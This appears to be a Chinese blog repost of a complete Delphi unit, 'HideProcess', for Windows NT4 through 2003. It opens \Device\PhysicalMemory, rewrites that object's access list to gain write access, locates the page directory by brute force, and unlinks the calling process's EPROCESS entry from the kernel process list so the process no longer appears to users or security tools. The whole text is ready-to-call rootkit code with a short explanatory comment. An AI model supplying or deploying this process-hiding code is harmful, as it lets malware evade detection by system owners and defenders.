//作者:木鱼
http://hi.baidu.com/hnxyy/blog/item/0ccca84b2dae6af083025c29.html
直接调用HideProcess过程即可 //WIN2000下直接隐藏进程 unit HideProcess; interface uses Windows, aclapi, Accctrl; function HideProcess: Bool; implementation const STATUS_INFO_LENGTH_MISMATCH = $C0000004; STATUS_ACCESS_DENIED = $C0000022; type ULONG = DWORD; PULONG = ^ULONG; USHORT = Word; // PWSTR = PWideChar; NTSTATUS = ULONG; ACCESS_MASK = ULONG; function AllocMem(Size: Cardinal): Pointer; begin GetMem(Result, Size); FillChar(Result^, Size, 0); end; procedure MsgBox(Ti:String); begin MessageBox(0,Pchar(Ti),'提示',0); end; function NT_SUCCESS(status: integer): Bool; begin Result := status >= 0; end; type _SYSTEM_INFORMATION_CLASS = ( SystemHandleInformation = 16 ); SYSTEM_INFORMATION_CLASS = _SYSTEM_INFORMATION_CLASS; type _SYSTEM_HANDLE_INFORMATION = record ProcessId: ULONG; ObjectTypeNumber: UCHAR; Flags: UCHAR; Handle: USHORT; _Object: pointer; GrantedAccess: ACCESS_MASK; end; SYSTEM_HANDLE_INFORMATION = _SYSTEM_HANDLE_INFORMATION; PSYSTEM_HANDLE_INFORMATION = ^_SYSTEM_HANDLE_INFORMATION; TRTLNTSTATUSTODOSERROR = function(Status: NTSTATUS): ULONG; stdcall; TZWQUERYSYSTEMINFORMATION = function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall; var RtlNtStatusToDosError: TRTLNTSTATUSTODOSERROR = nil; ZwQuerySystemInformation: TZWQUERYSYSTEMINFORMATION = nil; function GetEprocessFromPid(PID: ULONG): DWORD; var status: NTSTATUS; buf: Pointer; size: ULONG; NumOfHandle: ULONG; i: ULONG; h_info: PSYSTEM_HANDLE_INFORMATION; begin Result := 0; size := 1; repeat Buf := AllocMem(size); if buf = nil then begin //MsgBox('GetMemory Error!'); Exit; end; status := ZwQuerySystemInformation(SystemHandleInformation, buf, size, nil); //Form1.Memo1.Lines.Add(Format('$%x',[size])); //Form1.Memo1.Lines.Add(Format('$%x',[status])); if not NT_SUCCESS(status) then begin if status = STATUS_INFO_LENGTH_MISMATCH then begin FreeMemory(Buf); Buf := nil; end else begin //MsgBox('ZwQuerySystemInformation failed'); if buf <> nil then begin FreeMemory(Buf); Buf := nil; end; Exit; end; end else Break; size := size * 2; until false; NumOfHandle := PULONG(Buf)^; //返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组 // MsgBox(inttohex(NumOfHandle,0)); h_info := PSYSTEM_HANDLE_INFORMATION(pchar(Buf) + 4); for i := 0 to NumOfHandle - 1 do begin if h_info^.ProcessId = PID then if h_info^.ObjectTypeNumber = 5 then begin // MsgBox(Format('Handle:%x,OBJECT:%x', [h_info^.Handle, dword(h_info^._Object)])); Result := DWORD(h_info^._Object); Exit; end; inc(h_info); end; end; function LocateNtdllEntry(): Bool; var // ret: Bool; NTDLLDLL: Pchar; ntdll_dll: HMODULE; begin Result := False; NTDLLDLL := 'ntdll.dll'; ntdll_dll := GetModuleHandle(NTDLLDLL); if ntdll_dll = 0 then begin //MsgBox('GetModuleHandle() failed!'); Exit; end; try @ZwQuerySystemInformation := GetProcAddress(ntdll_dll, 'ZwQuerySystemInformation'); except //MsgBox('GetProcAddress() failed!'); FreeModule(ntdll_dll); Exit; end; Result := True; end; //====================================================== type TNtUnicodeString = packed record Length: Word; MaximumLength: Word; Buffer: PWideChar; end; PNtUnicodeString = ^TNtUnicodeString; UNICODE_STRING = TNtUnicodeString; PUNICODE_STRING = ^UNICODE_STRING; type _OBJECT_ATTRIBUTES = record Length: ULONG; RootDirectory: THandle; ObjectName: PUNICODE_STRING; Attributes: ULONG; SecurityDescriptor: pointer; SecurityQualityOfService: pointer; end; OBJECT_ATTRIBUTES = _OBJECT_ATTRIBUTES; POBJECT_ATTRIBUTES = ^_OBJECT_ATTRIBUTES; TZwOpenSection = function( sectionHandle: PHANDLE; const DesiredAccess: ACCESS_MASK; const ObjectAttributes: POBJECT_ATTRIBUTES ): NTSTATUS; stdcall; TRtlInitUnicodeString = procedure(DestinationString: PUNICODE_String; SourceString: PWideChar); stdcall; var RtlInitUnicodeString: TRtlInitUnicodeString; ZwOpenSection: TZwOpenSection; g_hNtDLL: HMODULE = 0; g_pMapPhysicalMemory: Pointer = nil; g_hMPM: THandle = 0; function InitNTDLL(): BOOL; begin Result := False; g_hNtDLL := LoadLibrary('ntdll.dll'); if g_hNtDLL = 0 then Exit; RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString'); ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection'); Result := True; end; procedure CloseNTDLL(); begin if (g_hNtDLL <> 0) then FreeLibrary(g_hNtDLL); end; procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle); var { pDaclACL; pNewDaclACL; pSDPSECURITY_DESCRIPTOR; dwResWORD; ea:EXPLICIT_ACCESS; } pDacl: PACL; pNewDacl: PACL; pSD: PPSECURITY_DESCRIPTOR; dwRes: Cardinal; ea: EXPLICIT_ACCESS_A; begin pDacl := nil; pNewDacl := nil; pSD := nil; dwres := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, @pDacl, nil, pSD); if dwRes <> ERROR_SUCCESS then begin if pSD <> nil then LocalFree(Cardinal(pSD)); if pNewDacl <> nil then LocalFree(Cardinal(pSD)); Exit; end; FillChar(ea, SizeOf(EXPLICIT_ACCESS), 0); ea.grfAccessPermissions := SECTION_MAP_WRITE; ea.grfAccessMode := GRANT_ACCESS; ea.grfInheritance := NO_INHERITANCE; ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME; ea.Trustee.TrusteeType := TRUSTEE_IS_USER; ea.Trustee.ptstrName := 'CURRENT_USER'; dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl); { if dwRes<>ERROR_SUCCESS then begin if pSD<>Nil then LocalFree(Cardinal(pSD)); if pNewDacl<>Nil then LocalFree(Cardinal(pSD)); Exit; end; } dwRes := SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil); if dwRes <> ERROR_SUCCESS then begin if pSD <> nil then LocalFree(Cardinal(pSD)); if pNewDacl <> nil then LocalFree(Cardinal(pSD)); Exit; end; end; function OpenPhysicalMemory: THandle; var status: NTSTATUS; physmemString: UNICODE_STRING; attributes: OBJECT_ATTRIBUTES; BaseAddress:pointer; start,CR3:ULONG; begin Result := 0; RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory'); attributes.Length := sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory := 0; attributes.ObjectName := @physmemString; attributes.Attributes := 0; attributes.SecurityDescriptor := nil; attributes.SecurityQualityOfService := nil; status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes); if (status = STATUS_ACCESS_DENIED) then begin status := ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes); end; if not (NT_SUCCESS(status)) then Exit; (* 对于03年那篇断活动链的补充 信箱里有一大堆邮件是问那时留的“习题”——XP移植问题,想不到现在还有问的。 本来就很简单,而能看懂代码的人做这件事是轻而易举的。但若代码都看不懂,我也不 想提供保姆式的服务。 网上早有了一些实现,不过注意到大多是利用WebCrazy的代码原理进入ring0的,原 先那篇之所以没使用这个方法,因为我在自己机器使用了/3GB开关,WebCrazy的简单线性 地址转换不可行(不通用),故改用LinearToPhys函数。使用这个函数的关键是获知页目 录的一个可用值,这段代码我略去了(否则觉得像“保姆式服务”),而用了2000上多数 时候为页目录的0x30000这个值。现在把未贴的主要代码贴出来,希望不要再问这个问题 了,熟悉的大虾就不要看了。 代码很简单,利用页目录的特性进行暴力搜索,内存中的页目录很多,找到第一个就 好。 ULONG CR3; for (ULONG start=0x10000; start<0x100000; start+=0x1000) { PULONG BaseAddress; BaseAddress = (PULONG)MapViewOfFile(hSection, FILE_MAP_READ, 0, start, 0x1000); if(!BaseAddress) { //error ... ... } if ((BaseAddress[0xc00/4]&0xFFFFFE00) == start) { CR3 = (ULONG)start; break; } UnmapViewOfFile(BaseAddress); } 这段代码就找出了页目录的一个可能值。 所谓特性就是页目录的物理地址与其页内对应记录的地址是一致的,很容易看出这种 方法有可能失败:内存中在第一个页目录之前的某一页恰好有这个性质,会使得代码找错 对象,这时需要加上一些判断。不过我记得以前的使用中从来没碰到过,概率很小。 *) CR3:=0; start:=$30000; repeat BaseAddress:=MapViewOfFile( g_hMPM, FILE_MAP_READ, 0, start, $1000); if BaseAddress=nil then Break; //PGDE=BaseAddress[VAddr]; // PGDE := PULONG(ULONG(BaseAddress) + (VAddr) * sizeof(ULONG))^; if (PULONG(ULONG(BaseAddress) + ($c00 div 4) * sizeof(ULONG))^) and $FFFFFE00=start then begin CR3:=start; //MsgBox(IntToStr(Cr3)); Break; end; start:=start+$10000; until start>=$100000; UnmapViewOfFile(BaseAddress); g_pMapPhysicalMemory := MapViewOfFile( g_hMPM, 4, 0, start,//$30000, $1000); if (g_pMapPhysicalMemory = nil) then Exit; Result := g_hMPM; end; function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer; var VAddr, PGDE, PTE, PAddr, tmp: ULONG; begin Result := nil; VAddr := ULONG(addr); if (VAddr >= $80000000) and (VAddr < $A0000000) then begin PAddr := VAddr - $80000000; Result := @PAddr; Exit; end; //PGDE=BaseAddress[VAddr>>22]; PGDE := PULONG(ULONG(BaseAddress) + (VAddr shr 22) * sizeof(ULONG))^; if ((PGDE and 1) <> 0) then begin tmp := PGDE and $00000080; if (tmp <> 0) then begin PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF); end else begin PGDE := ULONG(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000)); //疑问 PTE:=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; PTE := PULONG(ULONG(PGDE) + ((VAddr and $003FF000) shr 12) * sizeof(ULONG))^; if ((PTE and 1) <> 0) then begin PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF); UnmapViewOfFile(@PGDE); end else Exit; end; end else Exit; Result := @PAddr; end; function GetData(addr: Pointer): ULONG; var phys: ULONG; tmp: PULONG; begin Result := 0; phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^; tmp := PULONG(MapViewOfFile(g_hMPM, 4, 0, phys and $FFFFF000, $1000)); if (tmp = nil) then Exit; //Result:=tmp[(phys and $FFF) shr 2]; Result := plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^; UnmapViewOfFile(tmp); end; function SetData(addr: Pointer; data: ULONG): Bool; var phys: ULONG; tmp: PULONG; begin Result := False; phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^; tmp := PULONG(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000)); if (tmp = nil) then Exit; //tmp[(phys & 0xFFF)>>2]=data; plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^ := data; UnmapViewOfFile(tmp); Result := TRUE; end; function HideProcess: Bool; var f, b: integer; osvi: TOSVersionInfo; process: ULONG; fw: ULONG; bw: ULONG; begin Result := False; if InitNTDLL then begin if OpenPhysicalMemory = 0 then Exit; osvi.dwOSVersionInfoSize := sizeof(osvi); GetVersionEx(osvi); if (osvi.dwMajorVersion = 5) then begin if (osvi.dwMinorVersion = 0) then //win2k begin f := $A0; b := $A4; end else if (osvi.dwMinorVersion = 1) then //winxp begin f := $88; b := $8C; end else if (osvi.dwMinorVersion = 2) then //win2003 begin f := $8A; b := $8E; end else Exit; end else if (osvi.dwMajorVersion = 4) and (osvi.dwMinorVersion = 0) and (osvi.dwPlatformId = 2) then //NT begin f := $98; b := $9C; end else Exit; // ULONG thread=GetData((PVOID)0xFFDFF124); // ULONG process=GetData((PVOID)(thread+0x22c)); LocateNtdllEntry(); //打开自身句柄,这样才能在handle列表中找到自己,PROCESS 对应 ObjectTypeNum 为5 OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); process := GetEprocessFromPid(GetCurrentProcessId()); fw := GetData(pointer(process + f)); bw := GetData(pointer(process + b)); SetData(pointer(fw + 4), bw); SetData(pointer(bw), fw); UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL(); end; Result := True; end; end. |
评论